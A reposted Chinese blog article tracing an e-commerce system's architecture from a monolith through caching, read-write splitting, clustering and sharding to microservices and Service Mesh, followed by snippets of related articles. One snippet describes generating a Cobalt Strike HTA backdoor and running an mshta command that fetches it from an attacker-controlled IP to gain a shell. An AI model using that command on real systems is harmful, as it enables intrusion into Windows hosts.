微服务架构学习与思考(12):从单体架构到微服务架构的演进历程

从单体架构到微服务架构的演进历程

一、单体架构

1.1 什么时候用单体架构

在创业初期或项目开始时,项目整体功能比较少,开发人员也少,且项目需要用最少时间开发出来,用 MVP 方式快速进行市场验证是否可行,这时候就可以用单体架构进行快速开发。

1.2 单体架构设计举例-电商应用

功能分析:

拿淘宝网来举例,现代电商网站功能是很复杂的,有多少功能呢?可以看看我前面的文章《电商产品设计全攻略》读书笔记(http://www.cnblogs.com/jiujuan/p/14452748.html#1574269892) 里的电商管理系统和电商平台产品结构 2 小节。

拿淘宝网举例的话,当然是最早期的淘宝网 - -!,它最简单的 3 个功能:商品展示,用户下单,订单中心。这三个功能构成一个最简单的电商业务流程。

展示给用户看的商品页面以及用户购买商品的操作功能。那我们需要对用户和订单进行管理,怎么办?

就需要一个管理后台来对用户订单进行管理。如此简单分析过后,就知道了电商网站应用功能。

应用功能架构图:

image-20230124022153045

程序架构设计:

这时候我们开发的单体应用程序,部署在应用服务器上。程序架构可能采用 MVC 这种程序架构模式。

当然也有可能什么架构都不用,直接撸代码了,所有的程序都混合在一起,这就是所谓的“大泥球”单体,这是一种糟糕的开发方式。

java 里最常用的 MVC 框架,比如 SpringMVC 框架。

  1. 划分模块

比如根据上面电商功能架构图,在程序里可以把电商功能划分为相对应的模块,如用户模块,订单模块,商品模块。

这时程序里不管是前台功能,后台功能都有这些模块。

image-20230124110006299

​ (应用程序模块)

这时候应用程序模块都在一个大的单体项目里,前台功能和管理后台共用一套代码。

  1. 模块里的功能

比如前台商品模块,就有商品列表,商品详情页等页面功能。

  1. 程序开发

编写程序时可能应用 MVC 这种程序设计模式来进行程序代码开发。

程序部署架构图:

image-20230124122806802

编写的程序代码部署到应用服务器上,用户的所有数据存储到 MySQL 数据库里。

程序和 MySQL 都部署在同一台服务器上。

二、单体架构演进

2.1 MySQL 性能瓶颈-缓存

随着项目上线,公司对项目加大力度推广和运营,用户数越来越多。

有一天,用户投诉说,商品详情页面浏览好慢。如是你一番操作猛如虎,发现详情页显示慢,性能瓶颈出现在数据库 MySQL 上,

MySQL 在用户访问高峰时,扛不住那么大的访问量。这时你想到的解决方法,可以用缓存来缓存一部分数据,不必每次都到 MySQL 取数据,

可以用 Redis 来缓存部分商品信息数据。如是,增加一个 Redis 缓存,架构图如下:

image-20230124122020910

2.2 MySQL 读写分离

这时候,你也可能想到另外的一种方法:数据的读写分离,减轻对 MySQL 访问压力。

image-20230124122113934

经过上面 2 种措施改进后,商品详情页访问速度开始变快,访问正常了。

但是这种舒服日子没过几个月,又有用户开始反馈页面访问比较慢。

你又一番埋头辛苦分析,发现是单台服务器负载高,单台服务器的性能已经到了极限,它已经承载不了那么多用户的访问。

如是你想,把数据存储和应用程序部署到 2 台服务器上,减轻服务器的负载压力。

2.3:数据存储和应用程序服务器分离

于是你申请买了一台服务器,把 MySQL 和 Redis 都部署在这台新买的服务器上,让原来那台服务器负载得到缓解。

image-20230124122240609

新的架构部署成功后,用户访问页面又恢复正常。

但是随着业务发展越来越好,新增用户越来越多,应用服务器的负载又居高不下了。

这时候要增加新的应用服务器了,这样做是最简单的。多台应用服务器形成集群,那怎么访问这些应用服务器?才能使每台服务器负载保持平衡,或者性能好的多接受一些用户访问?这时候就要用到负载均衡了。

2.4 集群-分布式

集群-负载均衡(多台应用服务器)

部署多台应用服务器形成一个应用服务器集群,前面用户通过负载均衡器来进行服务的访问。

image-20230124124859989

比较常用的负载均衡软件有 Nginx、LVS、KeepAlived 等等。

还有硬件负载均衡,比如 F5 等。

部署后,页面访问又恢复了正常。

过了几个月,数据服务器也出现负载过高情况,这时候可以把 Redis 缓存和 MySQL 分离,部署到不同服务器上。

随着数据量增加,把 Redis 部署为分布式缓存。

数据库分离和 Redis 分布式缓存

image-20230124130955865

把 MySQL 和缓存 Redis 部署到不同的服务器上。

随着缓存数据的增多,Redis 也部署为主从模式,然后到 Redis Cluster 集群模式,也就是 Redis 的分布式缓存。

此时数据存储服务器负载得到缓解,访问恢复正常。

由于业务发展太快,用户变得更多,数据库又出现了性能瓶颈,这时可以对数据库进行分库分表

分库分表

为了进一步的降低数据库由于数据量太多,访问太大而造成的瓶颈,可以对数据库进行分库分表,减轻数据库的访问压力。

三、应用程序发展演进

3.1 应用程序功能变化-硬件发展

上面画的架构图都是后端技术部分,服务端架构从单体到集群再到分布式的演进。

那么前面给用户使用的应用程序呢?也是在变化之中。

比如在《淘宝技术这十年》里的淘宝网的发展变化,刚开始时是一个很简单的 PC 端页面,到后来随着手机普及,移动互联网发展起来,

手机应用就出现了。淘宝 APP 也随之出现。随着国民应用微信逐渐发展壮大,小程序也成为第三种互联网程序应用形式。当然,还有其它终端,比如平板 ipad,自动售货机等等各种终端。

上面是不同硬件出现,程序应用承载出现不同形式。

image-20230124185223955

​ (多终端用户出现后的架构图)

那么淘宝网的功能呢?当然增加了很多。

还孵化出了多种不同的业务应用,比如天猫,1688,支付宝,聚划算,淘宝旺旺等等很多应用。

在今年 2013.1 再去打开淘宝 APP 看看,里面的功能多到眼花缭乱。

现在的电商系统有哪些子系统,系统里都有啥功能,可以看看我之前发布的这篇文章。

3.2 多端程序单体架构

多种终端的出现,当然不是一下子就出来的,都有一个发展过程,只不过到写这篇文章为止,出现了上面说的PC,手机 APP、小程序,平板等多个终端,最常用的还是前面 3 种。

最开始开发程序时,应用程序要适应多个终端,最简单的方式就是拷贝 PC 端的代码到多个终端程序里。按照上面 1.2 小节的电商最简单业务功能模块实现,多终端应用程序功能架构如下:

image-20230124193811484

​ (后端功能模块架构图)

上面的三种终端程序应用,还是使用同一个 MySQL 数据库,也及是说订单数据、用户数据等都存储在一个库中。

可能会问,怎么区分订单来自哪一个终端?

可以给订单数据一个类型标识来进行区分,订单是从哪一个终端过来的。

那管理后台呢?

多终端程序可以共用一个管理后台。

多终端的后台功能模块都搞起来了,但是这种程序模块架构有什么弊端缺点呢?

  1. 代码重复
  2. 增加/修改功能复杂:比如说要修改一个订单模块的功能,需要修改 3 个终端的后台代码
  3. 代码维护复杂:每次维护代码都需要动 3 个后端的代码

那有没有办法可以改进上面所说的情况?

能不能把 3 个后端重复模块代码合并为一个,统一向前端提供服务,当然是可以的。怎么做?

  1. 前后端分离 - 把前后端代码进行分离,前端展示操作页面和后端功能模块分离
  2. 抽象公共模块 - 把多个后端公共模块进行抽象为一个模块,为前端提供统一服务

3.3 前后端分离,抽象公共模块

页面前后端分离,其实在上面 1.1 小节的单体架构中也可以这样实施前后端分离。

多个终端当然也可以进行前后端分离,这样不用开发多个终端的页面,程序代码进行适配就可以了。前端现在有很多种多终端适配的技术。

后端的多个相同功能模块进行抽象,变成一个共用模块,对外提供服务。

这种方式提供功能服务我想到的有 3 种方式:

第一种:单体结构-函数提供接口

后端还是在一个单体工程下面,但是公共功能抽象为一个函数或对象接口,对外提供服务。

后端其他模块引入这个模块然后调用函数或者对象,完成程序功能开发。

应用程序结构图如下:

image-20230124225610407

第二种:用 Maven 当作一个远程包引入

在 java 里,用 maven 可以引入一个远程包进行使用。我们可以用这种方式引入公共功能包。

在 Go 里,用 module 模块方法引入远程包使用。

第三种:RPC 方式调用

这种方式是把应用程序里的公共模块功能变成一个独立的服务,对外提供服务。这个”外“是公司内部的业务可以调用这个服务。公司以外的应用就不可以调用这个服务。

这里也有2种方式,

第一种:只是公共模块独立提供服务,数据库还是共用。

第二种:数据库随着公共模块一起,独立对外提供服务。

我们来讨论第二种情况,既然要作为一个独立的服务存在,它就是自适应自维护的,此时数据库变成独立数据库,跟着它的服务模块一起独立。

此时不仅应用模块进行分离,应用服务器也进行了分离。

这时候就有点微服务的味道了。

image-20230124233108779

四、微服务架构演进

对于微服务的了解,可以看看我前面关于微服务系列文章的讲解,比如下面文章:

  • 微服务架构学习与思考(03):微服务总体架构图解
  • 微服务架构学习与思考(04):微服务技术体系

微服务的技术架构实际是一个体系,它是由很多技术组成的。

4.1 以 SpringCloud 为基础的微服务技术体系

最开始最 netflix 公司开源的以 springcloud 为基础的微服务技术体系,它把微服务体系开源了。不过后来 netflix 放弃维护它开源的微服务框架。

但是 spring 框架的公司和阿里巴巴都开源了自己的以 springcloud 为基础的微服务体系,阿里巴巴叫 springcloud-alibaba。

阿里还开源了另外一个微服务框架 dubbo。

这些框架都提供了一些主要功能:服务发现和注册,限流熔断,链路追踪,配置中心,网关等功能。

SpringCloud 微服务体系有哪些缺点?

  1. 代码侵入性强 - 业务层中需要加入治理层代码,与治理层混淆在一起
  2. 组件多 - 组件多,学习成本就变高
  3. 治理功能不全 - 比如协议转换、动态请求路由、灰度发布等功能
  4. 无法实现语义无关性 - 只能是一种语言或几种语言实现,无法做到与编程语言无关

针对以上的一些问题,就出现了 Service Mesh 这种架构,它作为一个基础设施层,真正做到与业务解耦,与语言无关,解决复杂网络下微服务与微服务之间通信问题。

其实就是把通信相关功能分离出来,与业务系统彻底解耦。

4.2 Service Mesh

Service Mesh 解决复杂网络下微服务与微服务之间通信问题,它的实现形态一般为轻量级的网络代理,与应用以边车(SideCar)模式部署。

第一代ServiceMesh

image-20230125001047147

​ (from:http://philcalcado.com/2017/08/03/pattern_service_mesh.html ,Phil Calçado)

来看一个全局图:

image-20230125001700722

​ (from:http://philcalcado.com/2017/08/03/pattern_service_mesh.html ,Phil Calçado)

绿色:应用服务

蓝色:SideCar

第二代 ServiceMesh:istio

第一代 Service Mesh 是由独立运行的单机服务代理构成,为了提供统一的控制入口,演进出了统一的控制面板,称为 control plane。

控制面板(control plane)和数据面板(data plane,即边车代理)进行交互,比如策略下发、数据采集等。这就是以Istio为代表的第二代Service Mesh。

image-20230125002338290

​ (from:http://philcalcado.com/2017/08/03/pattern_service_mesh.html ,Phil Calçado)

image-20230125002415442

​ (from:http://philcalcado.com/2017/08/03/pattern_service_mesh.html ,Phil Calçado)

springcloud 与 ServiceMesh 的区别:

image-20230125002930584

​ (from:http://medium.com/codex/a-spring-cloud-compatible-service-mesh-6ce58c571012)

五、参考

  • http://philcalcado.com/2017/08/03/pattern_service_mesh.html Pattern: Service Mesh,详细介绍了微服务到 Servie Mesh的演进

  • http://medium.com/codex/a-spring-cloud-compatible-service-mesh-6ce58c571012

  • http://www.cnblogs.com/jiujuan/p/14452748.html 《电商产品设计全攻略》读书笔记

  • http://www.cnblogs.com/jiujuan/p/13301055.html 微服务架构学习与思考(04):微服务技术体系

== just do it ==
本文转载于网络 如有侵权请联系删除

相关文章

  • GME 3D 空间语音技术:高精度 HRTF + 距离衰减模型

    大部分游戏中的枪声、脚步声等周围环境声音是有 3D 音效的,但当玩家连麦时,不管队友在哪儿,他人说话的声音听上去都没有方向...试想一下:在你都手忙脚乱地“突突突”时,队友发来求助语音“我在东南方向最近的茅房里中弹了!快来扶我……”,你还得看一眼地图再判断队友的位置。 3D空间语音为玩家提供了更多的听觉信息,玩家直接通过语音听声辨位方位就可以知道队友/敌方的位置,身临其境地感受到对方的存在。玩起来是不是就方便、有趣多啦?快戴上耳机来感受下3D音效 ?很多游戏开发者开始问了:3D语音背后的技术原理是什么?该如何将3D语音接入我的游戏呢?听我们快快给你讲~我们为什么能感知到声音方位?我们能感知到声音的方位,主要是由于同个声源传到左右双耳时的音量、延时等信息是不一样的。具体点说,我们通过双耳信号间的时间差、声级差、音色差来判断水平横向定位;耳廓起到类似梳状滤波器的左右帮助在复合声中判断出纵向定位;根据声级大小、频谱状况和个人经验等因素来判断深度定位。 如何模拟玩家声音的位置?GME是怎么做到的?这里就需要头部相关数据传输函数 HRTF(Head-RelatedTransferFunction

  • 腾讯企点荣获信通院首批数字化可信服务标准认证

    3月31日,由中国信息通信研究院与中国通信标准化协会主办的2021数字化转型发展高峰论坛在京举行。论坛以“数字赋能共建共享”为主题,正式发布了企业IT数字化成熟度IOMM和数字化可信服务评估结果,腾讯企点荣获信通院首批数字化可信服务标准认证。 可信数字化评估和IOMM成熟度评估全面数字化更进一步目前越来越多的企业和行业正在加快数字化转型的步伐,中国信息通信研究院发布的可信数字化标准体系,将会帮助企业在数字化转型过程中寻找具体转型路径。可信数字化标准体系由中国信息通信研究院联合多家国内龙头企业共同研究建立,腾讯企点在体系的前期研究构建阶段就参与其中,以多年来的数字化转型服务经验,为标准体系的指标建立提供参考。标准体系的建立,一方面针对的是有数字化改造需求的机构或企业,测算其IT数字化能力和运营效果成熟度,帮助其判断在转型过程中自身各个环节和业务部门的数字化水平,更好发挥长处补齐短板;另一方面,为数字化改造服务方提供服务能力评估,引导他们提升对客户数字化转型服务的质量和可信度。可信数字化评估和IOMM成熟度评估作为一个完整的体系,旨在帮助企业解决数字化转型过程中的痛点问题,让全面数字化更进

  • Web前端学习 第5章 node基础教程5 web服务器概述

    一、客户端与服务器当我们访问一个网站的时候,是谁在给我们提供内容丰富的网页内容。答案是服务器。浏览器可以通过互联网想服务器发送请求,例如我们在浏览器的地址栏输入http://baidu.com后,按下回车键,浏览器就会想百度发服务器发送一个请求,服务器接到请求之后,会把百度的首页内容以文本的方式发送给浏览器(其中包括html、css和js),然后我们便看到了网页。关于这个过程,后续章节涉及到http协议的内容,再深入讲解,本章只要记住几个最基本的概念即可:请求:浏览器想服务器要数据响应:服务器给浏览器发送数据地址:我们可以通过域名或ip访问到一个网站,域名或者ip就是这个网站的地址。端口:一个ip或者一个域名可以找到一台服务器,但是这台服务器可以对外服务多个网站,他们的端口是不同的,因此访问一个站点除了输入ip或域名,还要输入端口,平时我们很少输入端口是因为几乎所有的网站都会使用默认的80端口,因此不必输入。二、创建服务器我们可以通过http模块的createServer方法在本地创建一个服务器,示例代码如下:1consthttp=require('http');

  • 极验onelogin 一键登录 接入流程与问题

    极验onelogin一键登录前段时间接入了一键登录,里面的坑还不少,现梳理下来,为防止后期回顾及避免以后的人能快速知道问题所在。Android接入文档:https://docs.geetest.com/onelogin/deploy/client/android注意点:1.版本问题现在最新的版本是:implementation'com.geetest:onelogin:0.8.1'复制我们使用的版本是0.7.1,经测试发现此版本部分的电信号会不能使用一键登录,经测试大部分电信手机是好的,接入的期间,版本升级成了0.8.0,修复了部分电信不能登录的问题。然后发现获取到authcode后,后台验证不了,然后我们就回退到了0.7.1的版本。最新的0.8.1还未测试。2.混淆因为一键登录对电信的号经常有问题,再加上配置的Jenkins自动打包打的是debug的包,然后又忘了配置混淆,导致没有混淆就发了包,全部的电信号都登录不上了。混淆规则:-dontwarncom.geetest.onelogin.** -keepclasscom.geetest.onelogin.**{

  • 怎么有效的防止内存泄漏

    http://blog.csdn.net/couhujia/article/details/8474905C++中如何防止内存泄漏(来自百度搜索)1.尽量不去手动分配内存。比如,我一般不使用数组,而使用STL的vector.复制2.如果需要手动分配数组,尽量使用STL中的分配方式,或者使用STL和BOOST中的智能指针。复制http://www.cppblog.com/wanghaiguang/archive/2013/05/02/199909.aspx复制2.对于C和C++这种没有GarbageCollection的语言来讲,我们主要关注两种类型的内存泄漏:复制  堆内存泄漏(Heapleak)。对内存指的是程序运行中根据需要分配通过malloc,reallocnew等从堆中分配的一块内存,再是完成后必须通过调用对应的free或者delete删掉。如果程序的设计的错误导致这部分内存没有被释放,那么此后这块内存将不会被使用,就会产生HeapLeak.  系统资源泄露(ResourceLeak).主要指程序使用系统分配的资源比如Bitmap,handle,SOCKET等没有使用相应的函数

  • PHP数据结构(八) ——赫夫曼树实现字符串编解码(实践2)

    PHP数据结构(八)——赫夫曼树实现字符串编解码(实践2)(原创内容,转载请注明来源,谢谢)公众号规定不能超过3000字,只能分两篇,见谅。由于需要分两篇来讲,本篇接上篇的内容,假定已经获取到编码的结果,利用该结果实现对字符串的编码和解码的过程。本篇主要讲解针对输入字符串进行各字符权值数组的计算、调用方法获取字符编码结果、根据编码结果实现对字符串的编码、根据权值数组实现对被编码的字符串进行解码。源代码如下:<?php //编码函数输入一串字符串, //返回每个字符的编码array('char1'=>'encoded1','char2'=>'encoded2'....) //以及整个字符串的编码结果 publicfunctiongetStringEncoded($str){ $len=strlen($str); if($len<=0){ returnfalse; } if(1==$len){ returnarray($str=>'0'); } //计算每个字

  • 将ZIP文件添加到程序集资源文件然后在运行时解压文件

    今天做安装打包程序研究,之前同事将很多零散的文件发布成一个安装文件夹给用户,这样体验不好,我希望将所有文件打包成一个.net程序,运行此程序的时候自解压然后执行后续的安装步骤。解决过程:1,将所有零散文件使用WinRAR工具,打包成一个ZIP格式文件,比如SetupRes.zip2,新建一个控制台或者WinForms程序项目作为“打包项目”;3,将SetupRes.zip文件放到打包程序项目的根目录下面,选择此文件,属性-》嵌入的资源;4,添加如下代码:classProgram { staticvoidMain(string[]args) { //解压嵌入式资源示例 stringcurrNamespace="ConsoleApp1"; stringfileName="SetupRes.zip"; stringresourceName=string.Format("{0}.{1}",currNamespace,fileName); Streamso=Assembly.GetEntryAssembly().GetManifestR

  • 管理混合云环境的5个要点

    如今,大多数企业都意识到了采用云计算的好处,那么企业将业务迁移到混合云管理平台的最佳实践是什么呢?混合云可能非常复杂。企业的IT团队必须考虑他们的平台和应用程序如何交互以确保最佳性能。通过全面审查如何捕获、分析、存储、检索数据,IT团队可以开始构建与这些需求相一致的基础设施。越来越多的组织选择采用云计算解决方案(如Office365)来提高IT敏捷性并降低成本。但是了解所涉及的一切以及对业务的影响对组织来说可能是一个挑战。如今,“混合”与复杂性似乎是同义词,企业通常担心在IT部门增加更多的工作量,却没有额外的资源来应对。当企业试图找出解决新出现的混合问题的最佳方法时,他们会以安全、治理和遵从性的视角来解决这一问题。然而,企业成功的关键在于了解在基于业务需求的混合环境中管理的基本要素。企业在采用任何混合云管理平台之前,需要考虑以下五个概念。01掌握正在管理的内容虽然这可能是最重要的事情,但是定义混合云管理策略的许多人却无法理解将在公共云和私有云上运行的工作负载的概况。IT管理人员需要了解其环境中的应用程序以及所需的访问权限。他们还需要知道他们的应用程序的功能,其中包括他们如何与最终用户进

  • 腾讯云安全专家服务常规漏洞

    信息泄露 常规信息泄露的自动化检测主要是针对某些已知的威胁类型进行的,例如,返回的页面中包含路径信息、某目录存在匿名浏览目录、某文件存在自动备份文件等等。 某些信息泄露漏洞往往需要人工介入进行判断,例如,返回信息中存在与目标系统业务具有极大相关性的数据,这些数据的泄露十分危险,但却无法被自动化扫描工具识别,需要人工对此类信息泄露进行挖掘和验证。 注入漏洞 注入漏洞有多种注入方式,例如SQL注入、XPath注入、LDAP注入等等。 不同类型的注入漏洞在利用方式和原理上是相似的,但后台存储的数据内容和用户权限决定了注入漏洞所能获得的收益大小。 测试人员手动测试注入漏洞时,除验证注入漏洞是否真实存在外,还需对该注入漏洞产生危害的深度与广度进行分析判断,并结合其影响为该注入漏洞设置合理的危险等级。 XSS与CSRF深度利用多数Web扫描器对XSS与CSRF的识别与测试方式单一,一般情况下,扫描器只能从理论层面验证这类漏洞的存在,但这类漏洞所带来的安全风险,需由人工辅助来完成鉴别与评估。 重定向检测与利用重定向漏洞往往与其他漏洞一起被结合利用。在传统的自动化评估过程中,难以对重定向漏洞进行识

  • NB的Github项目,看到最后一个我惊呆了!

    最近看到不少好玩的、实用的Github项目,就来给大家推荐一把。 中国制霸生成器 最近在朋友圈非常火的一个小网站,可以在线标记居住、短居、游玩、出差、路过标记后可生成图片进行社区分享,标记过的信息会记录到本地存储。 简化地图在保留了地缘相接特征的基础上把省级行政区域尽可能简化成了方框,一目了然,或许这也是他能火的原因之一了。 地址:https://github.com/itorr/china-ex Star:1.1K 还有一个全球版的,就不发了,在这个项目里能找得到。 Monocraft 这是一个特殊的字体,像素风游戏我玩过,我不信有谁真的用这个字体去写代码,简直眼睛都要瞎了,它模拟的是我的世界游戏里面的字体。 地址:https://github.com/IdreesInc/Monocraft Star:5.1K youtube-dl youtube-dl是一个命令行工具,可以让你从youtube或者国内一些其他的视频网站上下载视频,并且跨平台,Windows、Mac、Linux都支持。 我试了下,B站的视频是可以支持,抖音无法下载。 地址:https://github.com/y

  • NetCore版RPC框架NewLife.ApiServer

    微服务和消息队列的基础都是RPC框架,比较有名的有WCF、gRPC、Dubbo等,我们的NewLife.ApiServer建立在网络库NewLife.Net之上,支持.NetCore,追求轻量级和高性能,只有最简单的远程调用功能。 现在是网络系列文章的第五篇,前面四篇快速过了一遍网络库基本用法,也做了压力测试并给出数字2266万tps。 本章正式进入应用层面,并且采用.NetCore作为例程,说明我们一开始就支持.NetCore,也算是回答了很多支持者的疑问。   老规矩,先上代码:https://github.com/NewLifeX/NewLife.Net (例程RpcTest) ApiServer源码:https://github.com/NewLifeX/X/tree/master/NewLife.Core/Remoting ApiServer实在太小了,就让它和Net一起分别作为X组件核心库的一个目录。   一、背景 ApiServer开始于2014年,我们为了建立物联网云平台,解决云端、硬件设备端、手机端、网页端相互通信,而建立的一套完整的通信

  • zoj 3820(2014牡丹江现场赛B题)

    题目链接:http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemId=5374 思路:题目的意思是求树上的两点,使得树上其余的点到其中一个点的最长距离最小。可以想到这题与树直径有关,我们可以这样做,首先求出树的直径,然后取出树的中点以及与该中点相邻,并且是直径上的一个点,这样就把这棵树划分为两颗子树,然后分别求出这两棵树的直径,最后要选择的两个点分别就是这两棵树的直径上的中点。 一开始是用dfs写的,结果爆栈了,改成bfs就过了。 #include<iostream> #include<cstdio> #include<cstring> #include<algorithm> #include<queue> usingnamespacestd; constintMAX_N=(200000+20000); structEdge{ intv,w,next; }edge[MAX_N<<1]; intN,NE,head[MAX_N]; voidInit() {

  • 2021年寒假安排和近期规划

    日期:2021.01.11 博客期:180 星期一     好了,做完核酸和,现在就打算在家里研究一下毕业设计和新的开发工具等等。安排上的话,我先准备做一做毕业设计,嗯,简单做出来一个使用之前模板的系统。毕竟过了这么多时间,有很多做系统的时候需要注意的点子是我都忘掉的了。做毕业设计的过程中,可以添加一些知识点的扩充,比如网上下载新的软件,配置环境并且学习使用。修改器制作的话,我想想吧。之前的游戏好久都不更新的,我那就算是完结了吧。《打造世界》这个游戏的修改器,我看WeMod上早就有了,而且这个游戏更新也是特别的快,我不想再做这个了,目前弃坑(当游戏版本出到比较完善的时候,我再去做...当然是去研究啦,各版本的修改方法都不一定适用的)。《自动化厨房》的修改器我会在不久再研究一下,如果能研究出来就会改博客。新游戏的修改器?那肯定是要满足“我会改”、“我认识”、“别人没改”三项要求,我才会写博客。不过,WeMod上都挺全的。之前看Kingdom三部曲,都被别人做了。如果游戏满足“特别好改”、“别人改过”、“功能项多”三项特点,我基本不会去做了(分别对应了“没难度”、“没意义”、“太

  • Vue3和Mobx5都使用Proxy了,你更应该了解Proxy

    vue3.0的pre-alpha版代码已经开源了,就像作者之前放出的消息一样,其数据响应这一部分已经由ES6的Proxy来代替Object.defineProperty实现,感兴趣的同学可以看其实现源码,同样Mobx5也使用Proxy来实现数据响应式。vue和mobx都开始使用Proxy来实现数据的响应式了,所以有必要抽点时间了解下Proxy。 Object.defineProperty的缺陷 说到Proxy,就不得不提Object.defineProperty,我们都知道,vue3.0之前的版本都是使用该方法来实现数据的响应式,具体是: 通过设定对象属性getter/setter方法来监听数据的变化,同时getter也用于依赖收集,而setter在数据变更时通知订阅者更新视图。 大概如下代码所示: functiondefineReactive(obj,key,value){ Object.defineProperty(obj,key,{ enumerable:true, configurable:true, get(){ collectDeps()//收集依赖 returnval

  • JqueryEasyUI浅谈本地化应用

    JqueryEasyUI浅谈本地化应用 Jquery是对javascript一种封装,使我们开发人员使用起来更加方便,同时也解决了不同浏览器中javascript的兼容性。JqueryEasyUi是基于Jquery上开发的UI组件,和它并行的是JqueryUI,个人认为JqueryUi没有JqueryEasyUi好用,也没有JqueryEasyUi显得专业。 下面先简单介绍一线JqueryEasyUI的使用,在用JqueryEasyUI之前需要引用几个js和css文件 1.<linkhref="../jqeryEasyUi/jquery-easyui-1.3.1/themes/default/easyui.css"rel="stylesheet" 2.type="text/css"/> 3.<linkhref="../jqeryEasyUi/jquery-easyui-1.3.1/themes/icon.css"rel="stylesheet" 4.type="text/css"/> 5.<scriptsrc="../jqeryEasyUi/jq

  • 管理信息系统 第三部分 作业

    阅读教材,思考并回答以下问题: DDS和IDDS的组成。 电子商务系统的结构。 电子政务系统的类型与应用。 电子健康系统应用的影响。 供应链管理的概念。 数据挖掘的主要功能。 答: 1.DDS(决策支持系统)由决策支持系统的系统结构,人机对话子系统,数据库子系统,模型库子系统,方法库子系统组成。 IDDS(智能决策支持系统)由只能人机接口,问题处理系统,知识库子系统与推理机组成。 2.电子商务整体结构分为电子商务应用层结构(简称应用层)和支持应用实现的基础结构(三层),基础结构一般包括三个层次和两个支柱。三个层次自下而上分别为网络层、传输层和服务层,两个支柱分别是安全协议与技术标准、公共政策与法律规范。前三个层次为基础层次,其上就是各种特定的电子商务应用,可见三个基础层次和两个支柱是电子商务应用的条件。 3.类型分为政府对政府的电子政务(GtoG)政府对企业的电子政务(GtoB)政府对公民的电子政务(GtoC)三种模式 GtoG:政府内部网络办公系统,电子法规政策系统,电子公文系统,电子司法档案系统,电子财政管理系统,垂直网络化管理系统,横向网络协调管理系统,城市网络管理

  • csWindows上马

    设置监听生成httpapplication后门选择powershell脚本然后把生成的evil.hta文件上传到cs服务器上 这时已经挂在cs服务器/download目录下 如果有命令执行漏洞,执行mshta+刚才生成的路径 mshtahttp://192.168.17.181:80/download/file.ext 复制 然后就获得一个shell,只适用win

  • 动态时钟(js)

    直接上代码: <!DOCTYPEhtml> <htmllang="en"> <head> <metacharset="utf-8"> <title>正在运行的时钟</title> <styletype="text/css"> /*设置样式:无边框的文本框*/ input, #clock{ font-size:30px; font-weight:900; color:#ccc; background-color:black } </style> </head> <bodyonLoad="disptime()"> <spanid="clock"></span> <scriptlanguage="JavaScript"> functiondisptime(){ vartime=newDate();//获得当前时间 /** *方法一 */ //varyear=time.getFullYear();//获得年月日 //varmont

  • 多项式基本操作

    多项式的简单四则运算 有加减乘除 加减比较native 多项式乘法 FFT:在\(O(nlogn)\)的时间内实现多项式的系数表示形式与点值表示形式的转换,作用域:实数 NTT:在\(O(nlogn)\)的时间内实现多项式的系数表示形式与点值表示形式的转换,作用域:有原根的模 MTT: \[考虑一个n次多项式F(x)=\sum_{i=1}^nx^ia_i\\ 考虑怎么快速求出其n个不重合的点的点值\\ \]在实数域上FFT: 有一个玩意叫做n次单位根\(W_n^i\) 考虑把这个玩意带入进去,观察一下整个式子 \[不妨考虑n为二次整数次幂\\ F(x)=\sum_{i=0}^{n-1}x^ia_i=(x^0a_0+...+x^{n-1}a_{n-1})\\ =x^0a_0+x^2_2+...+x^{n-2}a_{n-2}+x(x^0a_1+x^2a_3+...+x^{n-1}a_{n-1})\\ F_1(x)=a_0+a_2x^1+...+a_{n-2}x^{\frac{n}{2}-1}\\ F_2(x)=a_1+a_3x^1+...+a_{n-1}x^{\frac{n}{2}-1

  • 视频播放vitamio

    importandroid.os.Bundle; importandroid.support.v7.app.AppCompatActivity; importio.vov.vitamio.MediaPlayer; importio.vov.vitamio.Vitamio; importio.vov.vitamio.widget.MediaController; importio.vov.vitamio.widget.VideoView; publicclassMainActivityextendsAppCompatActivity{ @Override protectedvoidonCreate(BundlesavedInstanceState){ super.onCreate(savedInstanceState); Vitamio.isInitialized(getApplicationContext()); setContentView(R.layout.activity_main); playfunction(); } voidplayfunction(){ String

  • php学习(二)——html + css

                PHP学习 二.Html+css html介绍     ——基本信息:       英文全称:HyperTextMarkupLanguage       中文名:超文本标记语言    2.易忘知识点     (1) html符号实体(又称字符实体)     ——在网页上显示一些特殊的字符,比如空格( ),版权号(©)     (此处应有个图。)       (2) URL统一资源定位      ——就是链接,比如:http://www.baidu.com     (3) 标签介绍       1) 表格<table></table>       ——在较早之前,使用table标签来设置布局。后来改为使用div来设置布局         缺点:表格的冗余代码较多,在设置网页来说,要优先考虑较容易被关键词搜索到,而这个就会对搜索引擎搜索造成困难。不利于网页的推广。       ——专属属性:       {         Cellspacing两个单元格间的间隙==单元格的外边

相关推荐

推荐阅读